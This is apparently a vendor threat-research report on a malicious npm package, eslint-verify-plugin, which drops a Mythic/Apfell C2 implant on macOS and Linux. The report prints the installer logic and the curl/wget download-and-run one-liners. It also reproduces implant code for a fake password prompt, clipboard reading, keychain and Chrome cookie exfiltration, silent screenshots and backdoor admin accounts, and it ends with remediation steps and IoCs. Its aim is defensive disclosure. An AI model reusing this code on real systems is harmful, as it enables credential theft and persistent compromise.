The JFrog Security Team has identified a LIVE malicious npm package named eslint-verify-plugin. This package masquerades as a legitimate ESLint utility while deploying a sophisticated, multi-stage infection chain targeting macOS and Linux environments.

Upon installation, the package triggers index.js, which serves as a gatekeeper for the infection. It explicitly filters for non-targeted operating systems:
if (platform !== "linux" && platform !== "darwin") process.exit(0);
const filename = platform === "linux" ? "x-ya-npmdep_linux.sh" : "x-ya-npmdep_macos.sh";
The script writes a platform-specific shell script to disk, sets execution permissions (chmod 755), and spawns it as a detached process. This allows the npm install command to complete silently while the malware continues its execution in the background.
| Platform | Payload Source URL | Method |
|---|---|---|
| macOS | hxxps[://]x-ya[.]ru/FvXnR/9a8c2a83f66f49b88e36d28894a34009 | curl |
| Linux | hxxps[://]functions[.]yandexcloud[.]net/d4elc6rmqc9fbfsd7m2s?id=3 | curl |
The generated shell scripts each download and execute large obfuscated binaries:
Mac:
(zsh -c "curl -Ls [Payload_URL]| osascript -l JavaScript" &) &
Linux:
{ wget --no-check-certificate -q -O ./.node-exporter [Payload_URL] || curl -k -o ./.node-exporter -sO [Payload_URL]; } ; chmod +x ./.node-exporter && (exec -a node-exporter ./.node-exporter &)

A malicious binary node-exporter (4a37a431b3768824e31622d5eb9ad7505fa0afdbbec8d0505d41c1c3af37bc5a) served by the Yandex Cloud function (hxxps[://]x-ya[.]ru/FvXnR/node-exporter) is piped directly to bash for execution.
The binary node-exporter is a Poseidon agent for the Mythic C2 framework, a well-known open-source post-exploitation platform. It is classified as a trojan/backdoor (threat category: trojan family).
It is a 64-bit ELF binary written in Go, disguised as the legitimate Prometheus node-exporter monitoring tool.
Furthermore it communicates over HTTPS with functions\[.\]yandexcloud\[.\]net, abusing Yandex Cloud Functions as C2 infrastructure.
The binary is not packed. Poseidon supports a full range of post-exploitation capabilities including file operations, credential harvesting, and lateral movement.
Currently 26/65 vendors on VirusTotal flag it as malicious.
The downloaded obfuscated script (obfuscated with Obfuscator.io/javascript-obfuscator, featuring string array rotation, hex-renamed identifiers, and proxy wrapper functions) executes a Mythic/Apfell open source C2 agent using osascript -l JavaScript

Once the Mythic agent (https://github.com/its-a-feature/Mythic) is running, the attacker can remotely trigger data collection commands. But even before any commands are issued, the agent immediately fingerprints the victim machine on initialization.Host fingerprinting on startup.
The payload itself is an Apfell agent (https://github.com/MythicAgents/apfell), Mythic's JXA (JavaScript for Automation) implant designed for macOS. This is evident from the code The agent constructor harvests system information the moment it is instantiated, before any C2 communication begins:
class agent {
constructor() {
this.procInfo = $.NSProcessInfo.processInfo;
this.hostInfo = $.NSHost.currentHost;
this.id = "";
this.user = ObjC.deepUnwrap(this.procInfo.userName);
this.fullName = ObjC.deepUnwrap(this.procInfo.fullUserName);
this.ip = ObjC.deepUnwrap(this.hostInfo.addresses).sort()
.filter((a) => a !== "127.0.0.1");
this.pid = this.procInfo.processIdentifier;
this.host = ObjC.deepUnwrap(this.hostInfo.names);
this.environment = ObjC.deepUnwrap(this.procInfo.environment);
this.uptime = this.procInfo.systemUptime;
this.args = ObjC.deepUnwrap(this.procInfo.arguments);
this.osVersion = this.procInfo.operatingSystemVersionString.js;
this.uuid = "6a5562b3-431f-49c5-a17d-41adce6caded";
this.checked_in = false;
}
}
This collects the username, full display name, all non-loopback IP addresses, hostname, the entire environment variable set (PATH, HOME, AWS keys, tokens -- anything exported), process arguments, OS version, and system uptime. All of this is sent to the C2 server during the initial checkin, giving the attacker a complete profile of the target before issuing a single command.
Beyond this passive collection, the agent targets several high-value categories via remote commands:
Credential stealing via fake password dialog. The agent displays a native macOS dialog that mimics a system password prompt. The hiddenAnswer: true flag masks the input, making it indistinguishable from a real OS prompt:

var result = currentApp.displayDialog(
"User's password is required to proceed.",
{
withTitle: title || "CustomTitle",
withIcon: icon || "caution",
buttons: ["OK", "Cancel"],
defaultButton: "OK",
hiddenAnswer: true
}
);
return JSON.stringify({ user: apfell.user, password: result.textReturned });
The victim sees what looks like a routine macOS password request. Whatever they type gets sent straight to the C2 server along with their username.
Browser bookmarks. The agent reads Chrome's bookmark JSON directly from disk and recursively walks the bookmark tree, extracting every URL with its folder and title:
var chromePath = ObjC.unwrap($.NSHomeDirectory()) +
"/Library/Application Support/Google Chrome/Default/Bookmarks";
function parseBookmarkFolder(folder, folderName) {
for (var i = 0; i < folder.children.length; i++) {
var child = folder.children[i];
if (child.type === "url") {
results.push({ "Folder Name": folderName, title: child.name, url: child.url });
} else if (child.type === "folder") {
parseBookmarkFolder(child, child.name);
}
}
}
This reveals the victim's internal tools, dashboards, admin panels, cloud consoles, and corporate resources, all useful for lateral movement.
Clipboard contents. A single call reads whatever the victim last copied -- passwords, API keys, seed phrases, internal URLs:
var pasteboard = $.NSPasteboard.generalPasteboard;
var content = pasteboard.stringForType($.NSPasteboardTypeString);
File exfiltration. The agent leaks the following files -
- /Library/Keychains/login.keychain-db
- /Library/Application Support/Google/Chrome/Default/Cookies
- /Library/Application Support/Google/Chrome/Default/Login Data
- /Library/Application Support/Google Chrome/Default/Bookmarks
Files are read, base64-encoded, chunked into 512KB segments, and uploaded to the C2 server piece by piece:
var fileData = $.NSFileHandle.fileHandleForReadingAtPath(filePath).readDataToEndOfFile;
var base64Data = fileData.base64EncodedStringWithOptions(0);
var chunkSize = 512000;
var totalChunks = Math.ceil(base64Data.length / chunkSize);
for (var chunkNum = 0; chunkNum < totalChunks; chunkNum++) {
var chunk = base64Data.slice(chunkNum * chunkSize, (chunkNum + 1) * chunkSize);
C2.postResponse(task.id, { download: { chunk_data: chunk, chunk_num: chunkNum, total_chunks: totalChunks }});
}
This chunked approach lets the attacker exfiltrate large files (SSH keys, wallets, databases) without triggering size-based network alerts.
Screenshots. The agent silently captures the display using screencapture -x (the -x flag suppresses the shutter sound), uploads the image, then deletes the temp file:
var tmpFile = "/tmp/" + get_random_string(10) + ".png";
currentApp.doShellScript("screencapture -x " + tmpFile);
var fileData = $.NSData.alloc.initWithContentsOfFile(tmpFile);
var b64 = ObjC.unwrap(fileData.base64EncodedStringWithOptions(0));
$.NSFileManager.defaultManager.removeItemAtPathError(tmpFile, null);
Filesystem reconnaissance. The ls command returns full metadata for every file -- permissions, owner, UID, group, file type, creation/modification dates, and hidden status -- giving the attacker a detailed map of the target system:
results.push({
name: ObjC.unwrap(item),
permission: ObjC.unwrap(attrs.objectForKey($.NSFilePosixPermissions)),
size: ObjC.unwrap(attrs.objectForKey($.NSFileSize)),
user: ObjC.unwrap(attrs.objectForKey($.NSFileOwnerAccountName)),
type: ObjC.unwrap(attrs.objectForKey($.NSFileType)),
isHidden: ObjC.unwrap(attrs.objectForKey("NSFileExtensionHidden"))
});
Backdoor account creation. Perhaps the most aggressive capability: the agent can create a new macOS user with admin privileges, a home directory, and a password, all via dscl commands run with stolen admin credentials:
currentApp.doShellScript("dscl . create /Users/" + username + " UserShell " + shell,
{ administratorPrivileges: true, userName: adminUser, password: adminPass });
currentApp.doShellScript("dseditgroup -o edit -a " + username + " -t user admin",
{ administratorPrivileges: true, userName: adminUser, password: adminPass });
currentApp.doShellScript("mkdir \"" + homeDir + "\"",
{ administratorPrivileges: true, userName: adminUser, password: adminPass });
This creates persistent access that survives even if the original agent is discovered and removed.
Affected users who installed this package should:
- Uninstall the malicious package
npm uninstall eslint-verify-plugin - Isolate & Audit: Check for unauthorized user accounts via
dscl . list /Users - Credential Rotation: Immediately change all passwords and rotate SSH keys, API tokens, and session cookies.
- Persistence Check: Inspect LaunchAgents and LaunchDaemons for suspicious
.plistfiles. If present, itsProgramArgumentswill contain/usr/bin/osascript -l JavaScript -ewith an embedded URL fetching the Mythic payload. Remove theplistfile to disable persistence. - Security Baseline: Re-image affected machines if possible to ensure all hidden backdoors are removed.
The eslint-verify-plugin package is a direct example of how a malicious npm package can escalate from a simple installation hook to a full-system compromise. By masquerading as a legitimate utility, the attackers successfully concealed a multi-stage infection chain.
The capabilities of the Mythic/Apfell RAT deployed here - ranging from silent screen captures and credential harvesting to the creation of administrative backdoors-demonstrate the high level of control an attacker gains through this vector. This case confirms that the preinstall hook remains a critical entry point for persistent, platform-specific malware targeting both macOS and Linux environments.
This package is already detected by JFrog Xray and JFrog Curation, under the Xray ID listed in the IoC section below.
| Indicator | Value |
|---|---|
| Package Name | eslint-verify-plugin |
| NPM Version | 1.4.3 |
| XRAY-ID | XRAY-943671 |
| C2 Shortlink | hxxps[://]x-ya[.]ru/FvXnR/a5aef90 |
| AES PSK (Base64) | EGEqvmewqbDmt/y+YTXh/2tpQ4hME0SMKsuF/lY51p0= |
| Agent UUID | 6a5562b3-431f-49c5-a17d-41adce6caded |
| Kill Date | 2027-02-10 |
| C2 URI Path | d4erloflq56bidfugr9m |
| Framework | Mythic / Apfell (JXA)6 |
| Linux Binary Name | node-exporter |
| Linux Binary SHA256 | 4a37a431b3768824e31622d5eb9ad7505fa0afdbbec8d0505d41c1c3af37bc5a |
| Linux Binary URL | hxxps[://]x-ya[.]ru/FvXnR/node-exporter |
| Linux Payload Source | hxxps[://]functions[.]yandexcloud[.]net/d4elc6rmqc9fbfsd7m2s?id=3 |